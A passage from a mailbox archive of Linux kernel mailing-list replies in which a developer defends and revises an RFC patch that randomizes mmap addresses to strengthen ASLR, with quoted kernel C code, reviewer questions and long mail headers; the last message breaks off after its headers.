unsigned long addr,
>> 	return error;
>> }
>>=20
>> +unsigned long unmapped_area_random(struct vm_unmapped_area_info =
*info)
>> +{
>=20
> This function is just dead code if CONFIG_MMU=3Dn, yes?  Let's add the
> ifdefs to make it go away in that case.
>=20

Thanks, I missed that case. I will fix it.

>> +	struct mm_struct *mm =3D current->mm;
>> +	struct vm_area_struct *vma =3D NULL;
>> +	struct vm_area_struct *visited_vma =3D NULL;
>> +	unsigned long entropy[2];
>> +	unsigned long length, low_limit, high_limit, gap_start, gap_end;
>> +	unsigned long addr =3D 0;
>> +
>> +	/* get entropy with prng */
>> +	prandom_bytes(&entropy, sizeof(entropy));
>> +	/* small hack to prevent EPERM result */
>> +	info->low_limit =3D max(info->low_limit, mmap_min_addr);
>> +
>>=20
>> ...
>>=20
>> +found:
>> +	/* We found a suitable gap. Clip it with the original =
high_limit. */
>> +	if (gap_end > info->high_limit)
>> +		gap_end =3D info->high_limit;
>> +	gap_end -=3D info->length;
>> +	gap_end -=3D (gap_end - info->align_offset) & info->align_mask;
>> +	/* only one suitable page */
>> +	if (gap_end =3D=3D  gap_start)
>> +		return gap_start;
>> +	addr =3D entropy[1] % (min((gap_end - gap_start) >> PAGE_SHIFT,
>> +							 0x10000UL));
>=20
> What does the magic 10000 mean?  Isn't a comment needed explaining =
this?
>=20
>> +	addr =3D gap_end - (addr << PAGE_SHIFT);
>> +	addr +=3D (info->align_offset - addr) & info->align_mask;
>> +	return addr;
>> +}
>>=20
>> ...
>>=20
>=20

This one what I fix by next patch. I was trying to make patches separate =
to make
it easier to understand them. This constant came from last version =
discussion=20
and honestly doesn=E2=80=99t means much. I replaced it with Architecture =
depended limit
that as I plan would be CONFIG value as well.

This value means maximum number of pages we can move away from the next
vma. The less value means less security but less memory fragmentation. =
Any way
on 64bit systems memory fragmentation is not such a big problem.



From - Thu Nov 08 21:41:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Ilya Smith <blackzert@gmail.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.ia64,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.metag,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC PATCH v2 2/2] Architecture defined limit on memory region
 random shift.
Date: Fri, 23 Mar 2018 20:49:03 +0300
Lines: 16
Approved: news@gmane.org
Message-ID: <548B6BB8-FD6F-4F8D-B67F-2809305C617D@gmail.com>
References: <1521736598-12812-1-git-send-email-blackzert@gmail.com>
 <1521736598-12812-3-git-send-email-blackzert@gmail.com>
 <20180322135448.046ada120ecd1ab3dd8f94aa@linux-foundation.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Mac OS X Mail 11.2 \(3445.5.20\))
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1521827245 18528 195.159.176.226 (23 Mar 2018 17:47:25 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 23 Mar 2018 17:47:25 +0000 (UTC)
Cc: kstewart@linuxfoundation.org, linux-mips@linux-mips.org, dalias@libc.org,
 jack@suse.cz, linux-sh@vger.kernel.org, benh@kernel.crashing.org,
 bhsharma@redhat.com, heiko.carstens@de.ibm.com, jejb@parisc-linux.org,
 linux-mm@kvack.org, mhocko@suse.com, paulus@samba.org, deepa.kernel@gmail.com,
 hpa@zytor.com, sparclinux@vger.kernel.org, linux-ia64@vger.kernel.org,
 dan.j.williams@intel.com, aarcange@redhat.com, linux-s390@vger.kernel.org,
 ysato@users.sourceforge.jp, mpe@ellerman.id.au, deller@gmx.de, x86@kernel.org,
 hughd@google.com, linux@armlinux.org.uk, willy@infradead.org,
 nitin.m.gupta@oracle.com, linux-alpha@vger.kernel.org, mingo@redhat.com,
 jhogan@kernel.org, mattst88@gmail.com, linux-snps-arc@lists.infradead.org,
 fenghua.yu@intel.com, riel@redhat.com, punit.agrawal@arm.com,
 keescook@chromium.org, arnd@arndb.de, pombredanne@nexb.com, npiggin@gmail.com,
 jglisse@redhat.com
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Mar 23 18:47:15 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1ezQmY-0004a9-JS
	for gla-linux-snps-arc@m.gmane.org; Fri, 23 Mar 2018 18:47:14 +0100
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:To:References:Message-Id:Date:
	In-Reply-To:From:Subject:Mime-Version:Reply-To:Content-ID:Content-Description
	:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=EPsjsvWOx0/Je4MDjITzwt8pu+9GlOtVRak6B1OcTaM=; b=gUJ0/svje1atzW
	K4sQijD5c0ken7wpk3Z3U0ICAzi/PLTJQtFlvtVSIrpPjEnfhCLwie3Mz+ixfhM5Qk0fwLBTW6oEn
	y8WUD3me7reRndKBe22gjU+4/XYl2LLXaVYPiT6Aox+MleGJ/6SbXaw0gdjloN4WmSgnSVbB2ub8e
	Di0PFzUBcDFU/DsApd+V4MT5P+MqN6IaDzVUIE6kA6d6YvfeJrbxWXQFtkdymzagOn3TRJMBa0dYZ
	c5SBk2O/mvCQ/hEyO57Zs30MtQeKKK3ge1mHV7zhs617PQ6aAfUhvD7aHyZizk5A5Pb+Sqd6YZpjT
	FPC06FtpuAtJX5pj2uAw==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1ezQob-0000sr-4H; Fri, 23 Mar 2018 17:49:21 +0000
Original-Received: from mail-lf0-x243.google.com ([2a00:1450:4010:c07::243])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1ezQoY-0000q4-4r; Fri, 23 Mar 2018 17:49:19 +0000
Original-Received: by mail-lf0-x243.google.com with SMTP id c78-v6so14811579lfh.1;
 Fri, 23 Mar 2018 10:49:07 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
 h=mime-version:subject:from:in-reply-to:date:cc
 :content-transfer-encoding:message-id:references:to;
 bh=jQmHZjnJbgzm5Bnta7AxMgcjy2Bp3CXXFf+gGk9Ctfs=;
 b=egpWFPxze82JEZupHy+pKSf4RySiS/MJfiI9BpD7/a4UXFf3rBRbHAw+XIIV/eC7/r
 vDgjsIiExoYRVFTaG9rxZVDRHJy4m+HHv1YUPKDMMPNzGcGD/6GUnVmtGeC2pJKf23fL
 QjmFlM/JxeG5syAZ13fuUvLk09LayA0H26sDrPTeA130DHDDQdZcxVrJaPyfEANI3pWI
 QTL82sWu/AOIcPn8WFp8TceGbrv6UwPMXk+L9C3oPdxuZNNn7DfIOha8uEyQ2xk1nco0
 yg+126LKwm9LqJE+/bRdd90nSy4pEmUIJdzY2C0b7O95wckq7jOxEsD47RhtmWdX7OJD
 UHEA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:mime-version:subject:from:in-reply-to:date:cc
 :content-transfer-encoding:message-id:references:to;
 bh=jQmHZjnJbgzm5Bnta7AxMgcjy2Bp3CXXFf+gGk9Ctfs=;
 b=MtbT+ceh3FaGWt9iVt11KXm/UbpoP3C2FQWEdMRvdBgJfxVS1WexS+abNdwsFJPL47
 aFwEIz+yqKur4rLTlgJPBTIk4hAAgNh3ZpQapyAlgR9Nx+H67gk+gNypPgH2Mkpeodin
 RbUAR+Hj2rWr/oEDZAY2AaxzU3mN83ePKYasMWJb9qytsIJHDIbQ5KlNbrbxOgRtxcbs
 TLc9D3HMsqztREFShBHLyiy3DfZ0JB/2xnpZDv8MCisU4HYD5hf67DOO4O9I2VFjx5Z4
 VrVIOFPDfdoVn64rjQK77sAG+MAEt7xtRdIAphAMdHRmHSkvE0W6A/YDSYtay6jD1Awk
 vvXw==
X-Gm-Message-State: AElRT7FIU7ZlO6vXA6EVjXrv8HEMg6zG3rA1/J/wdDKATMVFiH6Jh5ef
 /z1EFnVKk/pcadfuQJykjH8=
X-Google-Smtp-Source: AG47ELuRtAiE5GxJ4PVlasYQbBVUoZzWlqey9KsMKVVJwaWDGj31q8vofooz0Xfhmk8aYru+zAB7Aw==
X-Received: by 2002:a19:1c0f:: with SMTP id
 c15-v6mr10866259lfc.44.1521827346362; 
 Fri, 23 Mar 2018 10:49:06 -0700 (PDT)
Original-Received: from [192.168.1.3] (broadband-188-255-70-164.moscow.rt.ru.
 [188.255.70.164])
 by smtp.gmail.com with ESMTPSA id t17-v6sm2332015lfi.30.2018.03.23.10.49.03
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Fri, 23 Mar 2018 10:49:05 -0700 (PDT)
In-Reply-To: <20180322135448.046ada120ecd1ab3dd8f94aa@linux-foundation.org>
X-Mailer: Apple Mail (2.3445.5.20)
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180323_104918_273573_8FFC0CBE 
X-CRM114-Status: UNSURE (   9.33  )
X-CRM114-Notice: Please train this message.
X-Spam-Score: -0.1 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.1 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2a00:1450:4010:c07:0:0:0:243 listed in] [list.dnswl.org]
 0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
 (blackzert[at]gmail.com)
 -0.0 SPF_PASS               SPF: sender matches SPF record
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3619 gmane.linux.ports.mips.general:64162 gmane.linux.ports.sh.devel:56684 gmane.linux.kernel.mm:192159 gmane.linux.ports.sparc:27461 gmane.linux.ports.ia64:28737 gmane.linux.ports.alpha:4829 gmane.linux.ports.arm.kernel:640527 gmane.linux.ports.parisc:28363 gmane.linux.kernel:2724017 gmane.linux.kernel.metag:1708 gmane.linux.ports.ppc64.devel:154972
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3619>


> On 22 Mar 2018, at 23:54, Andrew Morton <akpm@linux-foundation.org> wrote:
> 
> 
> Please add changelogs.  An explanation of what a "limit on memory
> region random shift" is would be nice ;) Why does it exist, why are we
> doing this, etc.  Surely there's something to be said - at present this
> is just a lump of random code?
> 
> 
> 
Sorry, my bad. The main idea of this limit is to decrease possible memory 
fragmentation. This is not so big problem on 64bit process, but really big for 
32 bit processes since may cause failure memory allocation. To control memory 
fragmentation and protect 32 bit systems (or architectures) this limit was 
introduce by this patch. It could be also moved to CONFIG_ as well.

From - Thu Nov 08 21:41:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Ilya Smith <blackzert@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm
Subject: Re: [RFC PATCH v2 0/2] Randomization of address chosen by mmap.
Date: Fri, 23 Mar 2018 20:55:49 +0300
Lines: 28
Approved: news@gmane.org
Message-ID: <651E0DB6-4507-4DA1-AD46-9C26ED9792A8@gmail.com>
References: <1521736598-12812-1-git-send-email-blackzert@gmail.com>
 <20180323124806.GA5624@bombadil.infradead.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Mac OS X Mail 11.2 \(3445.5.20\))
Content-Type: text/plain;
        charset=utf-8
Content-Transfer-Encoding: quoted-printable
X-Trace: blaine.gmane.org 1521827645 15072 195.159.176.226 (23 Mar 2018 17:54:05 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 23 Mar 2018 17:54:05 +0000 (UTC)
Cc: rth@twiddle.net, ink@jurassic.park.msu.ru, mattst88@gmail.com,
        vgupta@synopsys.com, linux@armlinux.org.uk, tony.luck@intel.com,
        fenghua.yu@intel.com, ralf@linux-mips.org, jejb@parisc-linux.org,
        Helge Deller <deller@gmx.de>, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, schwidefsky@de.ibm.com,
        heiko.carstens@de.ibm.com, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org,
        nyc@holomorphy.com, viro@zeniv.linux.org.uk, arnd@arndb.de,
        gregkh@linuxfoundation.org, deepa.kernel@gmail.com,
        Michal Hocko <mhocko@suse.com>,
        Hugh Dickins <hughd@google.com>, kstewart@linuxfoundation.org,
        pombredanne@nexb.com, Andrew Morton <akpm@linux-foundation.org>,
        steve.capper@arm.com, punit.agrawal@arm.com,
To: Matthew Wilcox <willy@infradead.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Mar 23 18:53:55 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1ezQt0-00063P-U5
	for glk-linux-kernel-4@m.gmane.org; Fri, 23 Mar 2018 18:53:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752003AbeCWR4A (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 23 Mar 2018 13:56:00 -0400
Original-Received: from mail-lf0-f67.google.com ([209.85.215.67]:37547 "EHLO
        mail-lf0-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751668AbeCWRzy (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 23 Mar 2018 13:55:54 -0400
Original-Received: by mail-lf0-f67.google.com with SMTP id m16-v6so15782505lfc.4;
        Fri, 23 Mar 2018 10:55:52 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:subject:from:in-reply-to:date:cc
         :content-transfer-encoding:message-id:references:to;
        bh=Nn/LegfdgCnPMfgxrP8ldElW5x41AbmrS9XnJZIcO0M=;
        b=dmuwuz6Z424tcCQofiCkpe7cXUJw3+yS9d8dSuF6KIrQ3AS98qcM3znkAh+yQ8N861
         DQUFRDwaQ8zsA9zfeG1lYzBYGpXJi8Q50XApUrKoNifIvTjyQXebt0GhEeFeh8udWnN1
         SaV+sgwIzdJcB/Q+xKm4AeFiWecFUaKndxiCasm/VGFuPIpnt4oIuMGZ2lfUg8gMc7EF
         TLbBhWhnBsA501jUsXGVCUu1Ta1OuIi+DgH6N9txRSK0LYwrDOwwO4wBeB3FY9sG34Ee
         y4n5+NevXgWYxnIIpB+Zzgls02Nrk6ePhuN+gOhnMpVoienq2TVmDFk/zgtFS2MEb0+f
         QLog==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:subject:from:in-reply-to:date:cc
         :content-transfer-encoding:message-id:references:to;
        bh=Nn/LegfdgCnPMfgxrP8ldElW5x41AbmrS9XnJZIcO0M=;
        b=Do8rnjwlBpNtQGCVpAichvIKGiKHrZfhOszSuBMM/SaaejJTN1/n2iUXuQkGKqYdZi
         WD3sdE8G2qC+mPox3KY18L1FFGoYT9JltmLgYMGAZnq4nKM6Bkc0IRZNHTVxp2gS94q2
         0e+968GFudGSEwABCaP0Lv2FdlS5NZIvjwqJvJGMlh2eFa+CAUx4u+ansJYKwz25pcci
         BvvY3YlaTI+aJVp3c8ii1O9aco/yH1pJ/EmmRFsWURFK7HlqeYCg0RnP6yKhEmcKcZoY
         GK27X2ja4w6SNN8qJSUtxgeo+QOZVhJTERrYVjdXqtU8sLil8Q6Xwa6Whw5pe2qH4Wc1
         wufA==
X-Gm-Message-State: AElRT7HOUUj0fUGvzJhRxeevC+OT0L1jOhj04MCXKwpPCVmDYhERfxbJ
        xXWu/uLnuW8QPcRVvQU+Vc4=
X-Google-Smtp-Source: AG47ELvfGoHwG8ZFUTfHtGgnMEMhX5286YUod0rhOtxN+bKDVeOxka7156ZLffopag3GbBdCfb+X5Q==
X-Received: by 10.46.76.25 with SMTP id z25mr21154931lja.148.1521827752056;
        Fri, 23 Mar 2018 10:55:52 -0700 (PDT)
Original-Received: from [192.168.1.3] (broadband-188-255-70-164.moscow.rt.ru. [188.255.70.164])
        by smtp.gmail.com with ESMTPSA id e8sm851332ljj.6.2018.03.23.10.55.49
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Fri, 23 Mar 2018 10:55:51 -0700 (PDT)
In-Reply-To: <20180323124806.GA5624@bombadil.infradead.org>
X-Mailer: Apple Mail (2.3445.5.20)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2724022 gmane.linux.ports.alpha:4830 gmane.linux.kernel.arc:3620 gmane.linux.ports.ia64:28738 gmane.linux.kernel.metag:1709 gmane.linux.ports.mips.general:64163 gmane.linux.ports.parisc:28364 gmane.linux.ports.ppc64.devel:154974 gmane.linux.ports.sh.devel:56685 gmane.linux.ports.sparc:27462 gmane.linux.kernel.mm:192162
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2724022>


> On 23 Mar 2018, at 15:48, Matthew Wilcox <willy@infradead.org> wrote:
>=20
> On Thu, Mar 22, 2018 at 07:36:36PM +0300, Ilya Smith wrote:
>> Current implementation doesn't randomize address returned by mmap.
>> All the entropy ends with choosing mmap_base_addr at the process
>> creation. After that mmap build very predictable layout of address
>> space. It allows to bypass ASLR in many cases. This patch make
>> randomization of address on any mmap call.
>=20
> Why should this be done in the kernel rather than libc?  libc is =
perfectly
> capable of specifying random numbers in the first argument of mmap.
Well, there is following reasons:
1. It should be done in any libc implementation, what is not possible =
IMO;
2. User mode is not that layer which should be responsible for choosing
random address or handling entropy;
3. Memory fragmentation is unpredictable in this case

Off course user mode could use random =E2=80=98hint=E2=80=99 address, =
but kernel may
discard this address if it is occupied for example and allocate just =
before
closest vma. So this solution doesn=E2=80=99t give that much security =
like=20
randomization address inside kernel.=


From - Thu Nov 08 21:41:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Ilya Smith <blackzert@gmail.com>
Newsgroups: gmane.linux.ports.ppc.embedded,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.ia64,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.metag
Subject: Re: [RFC PATCH v2 2/2] Architecture defined limit on memory region
 random shift.
Date: Fri, 23 Mar 2018 20:48:00 +0300
Lines: 116
Approved: news@gmane.org
Message-ID: <5D55B1FC-1962-4941-BF56-1F83554FC64C@gmail.com>
References: <1521736598-12812-1-git-send-email-blackzert@gmail.com>
 <1521736598-12812-3-git-send-email-blackzert@gmail.com>
 <20180322135448.046ada120ecd1ab3dd8f94aa@linux-foundation.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Mac OS X Mail 11.2 \(3445.5.20\))
Content-Type: multipart/signed;
 boundary="Apple-Mail=_B9437F76-CEDD-4524-828D-E63FF8E38C7F";
 protocol="application/pgp-signature"; micalg=pgp-sha256
X-Trace: blaine.gmane.org 1521827750 22979 195.159.176.226 (23 Mar 2018 17:55:50 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 23 Mar 2018 17:55:50 +0000 (UTC)
Cc: kstewart@linuxfoundation.org, linux-mips@linux-mips.org, dalias@libc.org,
 Jan Kara <jack@suse.cz>, linux-sh@vger.kernel.org, bhsharma@redhat.com,
 heiko.carstens@de.ibm.com, jejb@parisc-linux.org,
 Linux-MM <linux-mm@kvack.org>, Michal Hocko <mhocko@suse.com>,
 paulus@samba.org, deepa.kernel@gmail.com, hpa@zytor.com,
 sparclinux@vger.kernel.org, linux-ia64@vger.kernel.org,
 Dan Williams <dan.j.williams@intel.com>,
 Andrea Arcangeli <aarcange@redhat.com>, linux-s390@vger.kernel.org,
 ysato@users.sourceforge.jp, Helge Deller <deller@gmx.de>, x86@kernel.org,
 Hugh Dickins <hughd@google.com>, linux@armlinux.org.uk,
 Matthew Wilcox <willy@infradead.org>, nitin.m.gupta@oracle.com,
 linux-alpha@vger.kernel.org, mingo@redhat.com, mattst88@gmail.com,
 linux-snps-arc@lists.infradead.org, fenghua.yu@intel.com, riel@redhat.com,
 punit.agrawal@arm.com, Kees Cook <keescook@chromium.org>, arnd@arn
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org Fri Mar 23 18:55:41 2018
Return-path: <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Envelope-to: glppe-linuxppc-embedded-2@m.gmane.org
Original-Received: from lists.ozlabs.org ([103.22.144.68])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>)
	id 1ezQug-0005i9-7t
	for glppe-linuxppc-embedded-2@m.gmane.org; Fri, 23 Mar 2018 18:55:38 +0100
Original-Received: from bilbo.ozlabs.org (lists.ozlabs.org [IPv6:2401:3900:2:1::3])
	by lists.ozlabs.org (Postfix) with ESMTP id 407B8S5f0czDr5K
	for <glppe-linuxppc-embedded-2@m.gmane.org>; Sat, 24 Mar 2018 04:57:44 +1100 (AEDT)
Authentication-Results: lists.ozlabs.org; dmarc=pass (p=none dis=none) header.from=gmail.com
Authentication-Results: lists.ozlabs.org;
	dkim=fail reason="signature verification failed" (2048-bit key; unprotected) header.d=gmail.com header.i=@gmail.com header.b="kPomwbVs";
	dkim-atps=neutral
X-Original-To: linuxppc-dev@lists.ozlabs.org
Delivered-To: linuxppc-dev@lists.ozlabs.org
Authentication-Results: lists.ozlabs.org;
 spf=pass (mailfrom) smtp.mailfrom=gmail.com
 (client-ip=2a00:1450:4010:c07::243; helo=mail-lf0-x243.google.com;
 envelope-from=blackzert@gmail.com; receiver=<UNKNOWN>)
Authentication-Results: lists.ozlabs.org;
 dmarc=pass (p=none dis=none) header.from=gmail.com
Authentication-Results: lists.ozlabs.org; dkim=pass (2048-bit key;
 unprotected) header.d=gmail.com header.i=@gmail.com header.b="kPomwbVs"; 
 dkim-atps=neutral
Original-Received: from mail-lf0-x243.google.com (mail-lf0-x243.google.com
 [IPv6:2a00:1450:4010:c07::243])
 (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
 (No client certificate requested)
 by lists.ozlabs.org (Postfix) with ESMTPS id 4079xM0MxHzF0x9
 for <linuxppc-dev@lists.ozlabs.org>; Sat, 24 Mar 2018 04:48:06 +1100 (AEDT)
Original-Received: by mail-lf0-x243.google.com with SMTP id e5-v6so19507951lfb.7
 for <linuxppc-dev@lists.ozlabs.org>; Fri, 23 Mar 2018 10:48:06 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
 h=from:message-id:mime-version:subject:date:in-reply-to:cc:to
 :references; bh=uetvGUCojhaZF1cGzHJVZuEIcoQzSG0BT2smcOYhyeQ=;
 b=kPomwbVsOmPR4U0OfM+/st5asPybfYA2JtYnWo3YQ2qGlYgBUcAtJfS7ytfgBsNLHP
 BR6JoLjIzzq8Tz/FWk86QaVw54T3ClYB1Q3+h25jJpX4O1Uz52sjXM+6XUtZOEcvcqn2
 nvBjGHSIdBvVUfH+w3u+rQWy99ADQRNuUofO0bbzOYIg+eVd/fU8ISqG7Srb2av+Ejpk
 1/75YQW4XDPFD2uhRbRd/mFdjf2mWUpXf6jQ7r82qqBuVUqfvro7L3nDODPuzPQGaCvX
 bjcOit1R8o9RyvLUjYLBYyrJTVwjvs8Ms4TRJsNuNTvrsdjIHX89Jdzn5sk3tZKqiDpi
 BTCg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:from:message-id:mime-version:subject:date
 :in-reply-to:cc:to:references;
 bh=uetvGUCojhaZF1cGzHJVZuEIcoQzSG0BT2smcOYhyeQ=;
 b=ClwU83FbU1fqD4aAPalBeTBkFddvaIXxRFHYDtyL1QvXM6dAE4PfDyXTnjZN2yqyVJ
 DQg7uOd1xlbxQLgIAEXdewt8FdWQZYj51g2RhIdOT5KMgoLIPH6sn3Kj9QTwdjP+ktdp
 PAbA9kuDglMd5226zVZrplnOJtScU2spK++/3yVEniyCzIQn9QZBoM9Yjlwtba651p3u
 j/gGqgN7v7fyC44yfiijEHzfSf0Qjofyrl1qqhmORTRluN8a04S7ODxh5rseiFQIzlZc
 eiigbEJnQr8DGkPvJtA8zwvUN44KJ3WaFM7zhY9kPbwPRBW8tNsYc6+MVGSWc73fzLj7
 RgOg==
X-Gm-Message-State: AElRT7Fac/QPymD1+hc05mXiHED2+WRuhw/QEmlGw1w3HDjOg7Zf9wP/
 oxPzh+jnBIejjw03gjofBVo=
X-Google-Smtp-Source: AG47ELvprX88V7gLuVZjyauKh2sGf/w8hTcCfNXTQOawcQ8luvrMZKgmu799Ex/UO4EerUiQDmWsxQ==
X-Received: by 10.46.104.8 with SMTP id c8mr5371679lja.20.1521827283788;
 Fri, 23 Mar 2018 10:48:03 -0700 (PDT)
Original-Received: from [192.168.1.3] (broadband-188-255-70-164.moscow.rt.ru.
 [188.255.70.164])
 by smtp.gmail.com with ESMTPSA id t17-v6sm2332015lfi.30.2018.03.23.10.48.01
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Fri, 23 Mar 2018 10:48:02 -0700 (PDT)
In-Reply-To: <20180322135448.046ada120ecd1ab3dd8f94aa@linux-foundation.org>
X-Mailer: Apple Mail (2.3445.5.20)
X-Mailman-Approved-At: Sat, 24 Mar 2018 04:50:07 +1100
X-BeenThere: linuxppc-dev@lists.ozlabs.org
X-Mailman-Version: 2.1.26
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.lists.ozlabs.org>
List-Unsubscribe: <https://lists.ozlabs.org/options/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=unsubscribe>
List-Archive: <http://lists.ozlabs.org/pipermail/linuxppc-dev/>
List-Post: <mailto:linuxppc-dev@lists.ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=help>
List-Subscribe: <https://lists.ozlabs.org/listinfo/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=subscribe>
Errors-To: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Original-Sender: "Linuxppc-dev"
 <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
